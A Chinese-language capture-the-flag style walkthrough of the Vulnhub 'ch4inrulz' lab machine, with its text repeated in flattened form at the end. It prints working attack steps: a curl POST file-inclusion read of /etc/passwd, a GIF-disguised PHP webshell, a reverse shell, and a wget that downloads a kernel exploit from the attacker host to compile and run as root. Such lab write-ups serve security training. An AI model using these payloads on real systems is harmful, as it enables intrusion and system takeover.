Hack the ch4inrulz of Vulnhub
字数 1112 2025-08-29 08:32:24

Vulnhub靶机"ch4inrulz"渗透测试教学文档

环境准备

  • 靶机环境: 192.168.107.128 (ch4inrulz)
  • 攻击机: Kali Linux 192.168.107.129
  • 网络配置: 同一局域网段

信息收集阶段

1. 主机发现

使用nmap进行主机发现:

nmap -sP 192.168.107.1/24

2. 端口扫描

对靶机进行详细扫描:

nmap -sS -A 192.168.107.128

扫描结果:

  • 21/tcp: FTP
  • 22/tcp: SSH
  • 80/tcp: HTTP
  • 8011/tcp: 未知服务

Web服务渗透

1. 目录扫描

使用工具扫描Web目录:

dirb http://192.168.107.128

发现重要文件:

  • /robots.txt (无有用信息)
  • /index.html.bak (备份文件)

2. 分析备份文件

下载并分析index.html.bak,发现:

  • 存在/development目录
  • 包含疑似用户名密码的哈希字符串

3. 破解密码

使用John the Ripper破解哈希:

john <hash_file>

破解结果: 密码为frank!!!

FTP服务检查

检查FTP服务(21端口):

ftp 192.168.107.128

未发现有用信息。

8011端口利用

1. 目录扫描

扫描8011端口服务:

dirb http://192.168.107.128:8011

发现/api/目录,包含:

  • files_api.php (可访问)
  • 其他API返回404

2. 文件包含漏洞

尝试GET方式读取文件失败,改用POST方式:

curl -X POST -d "file=/etc/passwd" http://192.168.107.128:8011/api/files_api.php

成功读取系统文件。

获取WebShell

1. 登录开发后台

使用破解的凭据登录/development:

  • 用户名: frank
  • 密码: frank!!!

2. 文件上传漏洞

发现上传功能在/uploader目录:

  1. 上传GIF文件测试,确认上传路径为/FRANKuploads
  2. 尝试上传PHP文件被拦截
  3. 上传含PHP代码的GIF文件:
GIF89a
<?php system($_GET['cmd']); ?>

3. 结合文件包含执行代码

通过文件包含执行上传的WebShell:

curl http://192.168.107.128:8011/api/files_api.php -X POST -d "file=/var/www/html/FRANKuploads/shell.gif"

4. 获取反向Shell

使用Kali自带的PHP反向Shell脚本:

cp /usr/share/webshells/php/php-reverse-shell.php .

修改IP为攻击机IP,上传后执行获取Shell。

权限提升

1. 改善Shell环境

获取基本Shell后,升级为交互式Shell:

python -c 'import pty; pty.spawn("/bin/bash")'

2. 内核漏洞提权

检查系统版本:

uname -a

搜索对应漏洞,使用本地提权EXP:

  1. 在Kali搭建Web服务:
python -m SimpleHTTPServer 80
  1. 靶机下载EXP:
wget http://192.168.107.129/exploit.c -O /tmp/exploit.c
  1. 编译执行:
gcc /tmp/exploit.c -o /tmp/exploit
chmod +x /tmp/exploit
/tmp/exploit

成功获取root权限。

总结

本渗透测试过程涉及:

  1. 基础信息收集(nmap扫描)
  2. Web目录枚举和备份文件分析
  3. 密码破解(John the Ripper)
  4. 文件包含漏洞利用
  5. 文件上传绕过技术
  6. WebShell获取与反向Shell建立
  7. 内核漏洞本地提权

关键点在于发现并组合利用文件包含和文件上传漏洞,以及最后的本地提权技术。

Vulnhub靶机"ch4inrulz"渗透测试教学文档 环境准备 靶机环境 : 192.168.107.128 (ch4inrulz) 攻击机 : Kali Linux 192.168.107.129 网络配置 : 同一局域网段 信息收集阶段 1. 主机发现 使用nmap进行主机发现: 2. 端口扫描 对靶机进行详细扫描: 扫描结果 : 21/tcp: FTP 22/tcp: SSH 80/tcp: HTTP 8011/tcp: 未知服务 Web服务渗透 1. 目录扫描 使用工具扫描Web目录: 发现重要文件 : /robots.txt (无有用信息) /index.html.bak (备份文件) 2. 分析备份文件 下载并分析 index.html.bak ,发现: 存在 /development 目录 包含疑似用户名密码的哈希字符串 3. 破解密码 使用John the Ripper破解哈希: 破解结果 : 密码为 frank!!! FTP服务检查 检查FTP服务(21端口): 未发现有用信息。 8011端口利用 1. 目录扫描 扫描8011端口服务: 发现 /api/ 目录,包含: files_api.php (可访问) 其他API返回404 2. 文件包含漏洞 尝试GET方式读取文件失败,改用POST方式: 成功读取系统文件。 获取WebShell 1. 登录开发后台 使用破解的凭据登录 /development : 用户名: frank 密码: frank!!! 2. 文件上传漏洞 发现上传功能在 /uploader 目录: 上传GIF文件测试,确认上传路径为 /FRANKuploads 尝试上传PHP文件被拦截 上传含PHP代码的GIF文件: 3. 结合文件包含执行代码 通过文件包含执行上传的WebShell: 4. 获取反向Shell 使用Kali自带的PHP反向Shell脚本: 修改IP为攻击机IP,上传后执行获取Shell。 权限提升 1. 改善Shell环境 获取基本Shell后,升级为交互式Shell: 2. 内核漏洞提权 检查系统版本: 搜索对应漏洞,使用本地提权EXP: 在Kali搭建Web服务: 靶机下载EXP: 编译执行: 成功获取root权限。 总结 本渗透测试过程涉及: 基础信息收集(nmap扫描) Web目录枚举和备份文件分析 密码破解(John the Ripper) 文件包含漏洞利用 文件上传绕过技术 WebShell获取与反向Shell建立 内核漏洞本地提权 关键点在于发现并组合利用文件包含和文件上传漏洞,以及最后的本地提权技术。